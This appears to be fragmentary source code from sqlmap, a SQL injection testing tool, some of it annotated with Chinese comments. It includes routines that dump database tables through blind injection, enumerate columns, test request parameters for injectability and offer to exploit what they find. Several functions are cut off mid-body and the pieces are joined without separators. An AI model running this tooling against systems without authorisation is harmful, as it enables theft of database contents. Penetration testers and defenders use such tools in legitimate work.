kb.data.dumpedTable[column]["values"].append( colEntry) if not kb.data.dumpedTable and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colString infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl else: query = rootQuery.blind.count % (conf.db, tbl) count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming( conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colString warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, count, blind=True) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, dump=True, plusOne=plusOne) if len(colList) < len( indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: for column in colList: if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), inband=False, error=False) == '0': emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % ( column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query % ( column, conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( column, column, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % ( column, tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % ( index, column, tbl) value = NULL if column in emptyColumns else inject.getValue( query, inband=False, error=False, dump=True) _ = DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)) lengths[column] = max( lengths[column], len(_)) entries[column].append(value) except KeyboardInterrupt: clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = { "length": length, "values": columnEntries } entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colString warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'%s" % ( unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db) } attackDumpedTable() conf.dumper.dbTableValues(kb.data.dumpedTable) except sqlmapConnectionException, e: errMsg = "connection exception detected in dumping phase: " errMsg += "'%s'" % e logger.critical(errMsg) finally:
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(",") else: colList = [] if conf.excludeCol: colList = [ _ for _ in colList if _ not in conf.excludeCol.split(',') ] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[DBMS.SYBASE].columns if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl)] = dict( (_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) for blind in blinds: randStr = randomStr() query = rootQuery.inband.query % ( conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) retVal = pivotDumpTable( "(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind) if retVal: table = {} columns = {} for name, type_ in filterPairValues( zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])): columns[name] = SYBASE_TYPES.get( int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_) table[safeSQLIdentificatorNaming(tbl)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table break return kb.data.cachedColumns
def start():#sqlmap 开始检测 get post cookie user-agent """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected这个函数调用一个函数,执行检查URL所有GET、POST、cookie和user-agent参数 们是否动态和SQL注入的影响 """ if conf.direct: # conf.direct是通过命令行参数:"-d" .指定的 通过参数"-d"指定要连接的数据库 initTargetEnv() #初始化目标环境 target.py initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作 setupTargetEnv() action() # 如果你使用-d选项,那么sqlmap就会直接进入action()函数,连接数据库 . eg:-d "mysql:123123//root:@127.0.0.1:3306/security" return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie)) # 把url,methos,data,cookie加入到kb.targets,这些参数就是由我们输入的 if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" #你没有正确编辑配置文件,设置目标URL,目标列表或谷歌码头 logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) #sqlmap总数的**目标 logger.info(infoMsg) hostCount = 0 for targetUrl, targetMethod, targetData, targetCookie in kb.targets: #循环检测 try: conf.url = targetUrl conf.method = targetMethod conf.data = targetData conf.cookie = targetCookie initTargetEnv() # initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作 parseTargetUrl() # 此循环先初始化一些一些变量,然后判断之前是否注入过,parseTargetUrl()函数主要完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息 testSqlInj = False # False 表示注入过 不会执行 injection = checkSqlInjection(place, parameter, value)这句代码 #测试过的url参数信息会保存到kb.testedParams中,所以在进行test之前,会先判断当前的url是否已经test过 if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True # True表示未注入过 执行 injection = checkSqlInjection(place, parameter, value)这句代码 break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True # True表示未注入过 if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' # SQL注入漏洞已被发现对“% s”。你想跳过此测试涉及吗?[Y / n] testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms: message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl) else: message = "URL %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else "" if conf.forms: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method == HTTPMETHOD.POST: message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data elif conf.method == HTTPMETHOD.GET: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break else: message += "\ndo you want to test this URL? [Y/n/q]" #你想测试这个URL ?[Y / n / q] test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() # setupTargetEnv()函数中包含了5个函数 都不可或缺,将get或post发送的数据解析成字典形式,并保存到conf.paramDict中 if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue if conf.checkWaf: checkWaf() #是检测是否有WAF if conf.identifyWaf: #sqlmap的参数–identify-waf identifyWaf() # 进入identifyWaf()函数 if conf.nullConnection: checkNullConnection() #提取url中的参数信息,并将其传递给checkSqlInjection函数 if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): #判断是否注入过,如果还没有测试过参数是否可以注入,则进入if语句中。如果之前测试过,则不会进入此语句 if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display 注意:这是不需要了,只留下显示 # a warning message to the user in case the page is not stable 一条警告消息给用户的页面是不稳定的 checkStability() # Do a little prioritization reorder of a testable parameter list 做一个可测试的参数列表的优先级排序 parameters = conf.parameters.keys() # Order of testing list (first to last) #测试顺序列表(第一个) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if #只有测试用户代理和推荐人头 # --level >= 3 级别>=3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if 仅有主机头 # --level >= 5 级别>=5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 #只有cookie 级别>=2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True)) if skip: continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True # True表示未注入过 paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False # False 表示注入过 infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False # False 表示注入过 infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter) logger.info(infoMsg) elif parameter in conf.skip: testSqlInj = False # False 表示注入过 infoMsg = "skipping %s parameter '%s'" % (place, parameter) logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS: testSqlInj = False # False 表示注入过 infoMsg = "ignoring %s parameter '%s'" % (place, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: check = checkDynParam(place, parameter, value) #checkDynParam()函数会判断参数是否是动态的 if not check: warnMsg = "%s parameter '%s' does not appear dynamic" % (place, parameter) #参数没有出现动态的 logger.warn(warnMsg) else: infoMsg = "%s parameter '%s' is dynamic" % (place, parameter) #参数出现动态的 logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj:# sql注入测试 check = heuristicCheckSqlInjection(place, parameter)#启发性sql注入测试,其实就是先进行一个简单的测试 if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % (place, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % place infoMsg += "parameter '%s'" % parameter #在 **参数测试SQL注入**” logger.info(infoMsg) #判断testSqlInj,如果为true,就代表之前没有检测过,然后就会到checkSqlInjection,checkSqlInjection()才是真正开始测试的函数,传入的参数是注入方法如GET,参数名,参数值 injection = checkSqlInjection(place, parameter, value) #这里开始执行sql注入,当testSqlInj = False的时候,不会执行 proceed = not kb.endDetection if injection is not None and injection.place is not None: kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) #如果当用户想要检测阶段(Ctrl + C) if not proceed: break msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "# **参数是脆弱的。你想要测试其他的(如果有的话)?[y / N] test = readInput(msg, default="N") if test[0] not in ("y", "Y"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: warnMsg = "%s parameter '%s' is not " % (place, parameter) warnMsg += "injectable" # **参数是不可注入的 logger.warn(warnMsg) if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " #没有发现参数提供的测试数据 errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" # 例子 raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters appear to be not injectable." #所有测试参数似乎不是注射 if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase '--level'/'--risk' values " errMsg += "to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." #重新运行没有提供选项 if not conf.textOnly and kb.originalPage: percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." #请重试开关”——text-only(along with --technique=BU),这种情况下看起来像一个完美的候选人(低文本内容以及比较引擎无法检测至少一个动态参数) if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests. " errMsg += "Please, consider usage of tampering scripts as " errMsg += "your target might filter the queries." #作为启发式测试结果积极强烈建议你继续测试。请考虑使用篡改脚本作为你的目标可能过滤查询。 if not conf.string and not conf.notString and not conf.regexp: errMsg += " Also, you can try to rerun by providing " errMsg += "either a valid value for option '--string' " errMsg += "(or '--regexp')" #此外,你可以尝试重新运行通过提供一个有效的价值选择 elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses" #此外,你可以尝试重新运行选项通过提供一个有效的值,字符串的字符串可能你选择不匹配完全真实的反应 elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses" #此外,你可以尝试重新运行通过提供一个有效的值选项“- regexp”也许你选择了不匹配的正则表达式完全真实的反应 raise SqlmapNotVulnerableException(errMsg) else: # Flush the flag kb.testMode = False _saveToResultsFile() #保存结果 _saveToHashDB() #保存session _showInjections() #显示注入结果,包括类型,payload _selectInjection() # if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() #此函数是判断用户提供的参数 except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: raise except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getUnicode(ex.message) if conf.multipleTargets: errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg) else: logger.critical(errMsg) return False finally:
def main(): """ Main function of sqlmap when running from command line. """ try: dirtyPatches() resolveCrossReferences() checkEnvironment() setPaths(modulePath()) banner() # Store original command line options for possible later restoration args = cmdLineParser() cmdLineOptions.update( args.__dict__ if hasattr(args, "__dict__") else args) initOptions(cmdLineOptions) if checkPipedInput(): conf.batch = True if conf.get("api"): # heavy imports from lib.utils.api import StdDbOut from lib.utils.api import setRestAPILog # Overwrite system standard output and standard error to write # to an IPC database sys.stdout = StdDbOut(conf.taskid, messagetype="stdout") sys.stderr = StdDbOut(conf.taskid, messagetype="stderr") setRestAPILog() conf.showTime = True dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) init() if not conf.updateAll: # Postponed imports (faster start) if conf.smokeTest: from lib.core.testing import smokeTest os._exitcode = 1 - (smokeTest() or 0) elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) elif conf.liveTest: from lib.core.testing import liveTest os._exitcode = 1 - (liveTest() or 0) else: from lib.controller.controller import start if conf.profile and six.PY2: from lib.core.profiling import profile globals()["start"] = start profile() else: try: if conf.crawlDepth and conf.bulkFile: targets = getFileItems(conf.bulkFile) for i in xrange(len(targets)): try: kb.targets.clear() target = targets[i] if not re.search(r"(?i)\Ahttp[s]*://", target): target = "http://%s" % target infoMsg = "starting crawler for target URL '%s' (%d/%d)" % ( target, i + 1, len(targets)) logger.info(infoMsg) crawl(target) except Exception as ex: if not isinstance(ex, SqlmapUserQuitException): errMsg = "problem occurred while crawling '%s' ('%s')" % ( target, getSafeExString(ex)) logger.error(errMsg) else: raise else: if kb.targets: start() else: start() except Exception as ex: os._exitcode = 1 if "can't start new thread" in getSafeExString(ex): errMsg = "unable to start new threads. Please check OS (u)limits" logger.critical(errMsg) raise SystemExit else: raise except SqlmapUserQuitException: if not conf.batch: errMsg = "user quit" logger.error(errMsg) except (SqlmapSilentQuitException, bdb.BdbQuit): pass except SqlmapShellQuitException: cmdLineOptions.sqlmapShell = False except SqlmapBaseException as ex: errMsg = getSafeExString(ex) logger.critical(errMsg) raise SystemExit except KeyboardInterrupt: print() except EOFError: print() errMsg = "exit" logger.error(errMsg) except SystemExit: pass except: print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() valid = checkIntegrity() if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): errMsg = "memory exhaustion detected" logger.critical(errMsg) raise SystemExit elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded", "Disk full while accessing")): errMsg = "no space left on output device" logger.critical(errMsg) raise SystemExit elif any(_ in excMsg for _ in ("The paging file is too small", )): errMsg = "no space left for paging file" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("Access is denied", "subprocess", "metasploit")): errMsg = "permission error occurred while running Metasploit" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("Permission denied", "metasploit")): errMsg = "permission error occurred while using Metasploit" logger.critical(errMsg) raise SystemExit elif "Read-only file system" in excMsg: errMsg = "output device is mounted as read-only" logger.critical(errMsg) raise SystemExit elif "OperationalError: disk I/O error" in excMsg: errMsg = "I/O error on output device" logger.critical(errMsg) raise SystemExit elif "Violation of BIDI" in excMsg: errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)" logger.critical(errMsg) raise SystemExit elif "Invalid IPv6 URL" in excMsg: errMsg = "invalid URL ('%s')" % excMsg.strip().split('\n')[-1] logger.critical(errMsg) raise SystemExit elif "_mkstemp_inner" in excMsg: errMsg = "there has been a problem while accessing temporary files" logger.critical(errMsg) raise SystemExit elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp")): errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir( ) errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) " errMsg += "(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")): errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) " errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)" logger.critical(errMsg) raise SystemExit elif "must be pinned buffer, not bytearray" in excMsg: errMsg = "error occurred at Python interpreter which " errMsg += "is fixed in 2.7. Please update accordingly " errMsg += "(Reference: https://bugs.python.org/issue8104)" logger.critical(errMsg) raise SystemExit elif "can't start new thread" in excMsg: errMsg = "there has been a problem while creating new thread instance. " errMsg += "Please make sure that you are not running too many processes" if not IS_WIN: errMsg += " (or increase the 'ulimit -u' value)" logger.critical(errMsg) raise SystemExit elif "can't allocate read lock" in excMsg: errMsg = "there has been a problem in regular socket operation " errMsg += "('%s')" % excMsg.strip().split('\n')[-1] logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("pymysql", "configparser")): errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("window = tkinter.Tk()", )): errMsg = "there has been a problem in initialization of GUI interface " errMsg += "('%s')" % excMsg.strip().split('\n')[-1] logger.critical(errMsg) raise SystemExit elif kb.get("dumpKeyboardInterrupt"): raise SystemExit elif any(_ in excMsg for _ in ("Broken pipe", )): raise SystemExit elif valid is False: errMsg = "code integrity check failed (turning off automatic issue creation). " errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE logger.critical(errMsg) print() dataToStdout(excMsg) raise SystemExit elif any(_ in excMsg for _ in ("tamper/", "waf/")): logger.critical(errMsg) print() dataToStdout(excMsg) raise SystemExit elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): errMsg = "invalid runtime environment ('%s')" % excMsg.split( "Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ( "SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any( _ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")): errMsg = "invalid runtime environment ('%s')" % excMsg.split( "Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("No such file", "_'")): errMsg = "corrupted installation detected ('%s'). " % excMsg.strip( ).split('\n')[-1] errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE logger.critical(errMsg) raise SystemExit elif "'DictObject' object has no attribute '" in excMsg and all( _ in errMsg for _ in ("(fingerprinted)", "(identified)")): errMsg = "there has been a problem in enumeration. " errMsg += "Because of a considerable chance of false-positive case " errMsg += "you are advised to rerun with switch '--flush-session'" logger.critical(errMsg) raise SystemExit elif "bad marshal data (unknown type code)" in excMsg: match = re.search(r"\s*(.+)\s+ValueError", excMsg) errMsg = "one of your .pyc files are corrupted%s" % ( " ('%s')" % match.group(1) if match else "") errMsg += ". Please delete .pyc files on your system to fix the problem" logger.critical(errMsg) raise SystemExit for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) try: file_ = os.path.relpath(file_, os.path.dirname(__file__)) except ValueError: pass file_ = file_.replace("\\", '/') if "../" in file_: file_ = re.sub(r"(\.\./)+", '/', file_) else: file_ = file_.lstrip('/') file_ = re.sub(r"/{2,}", '/', file_) excMsg = excMsg.replace(match.group(1), file_) errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) if conf.get("api") or not valid: logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) dataToStdout("%s\n" % setColor(excMsg.strip(), level=logging.CRITICAL)) createGithubIssue(errMsg, excMsg) finally: kb.threadContinue = False _ = getDaysFromLastUpdate() if _ > LAST_UPDATE_NAGGING_DAYS: warnMsg = "you haven't updated sqlmap for more than %d days!!!" % _ logger.warn(warnMsg) if conf.get("showTime"): dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) kb.threadException = True if kb.get("tempDir"): for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY): for filepath in glob.glob( os.path.join(kb.tempDir, "%s*" % prefix)): try: os.remove(filepath) except OSError: pass if not filterNone( filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any( filepath.endswith(_) for _ in (".lock", 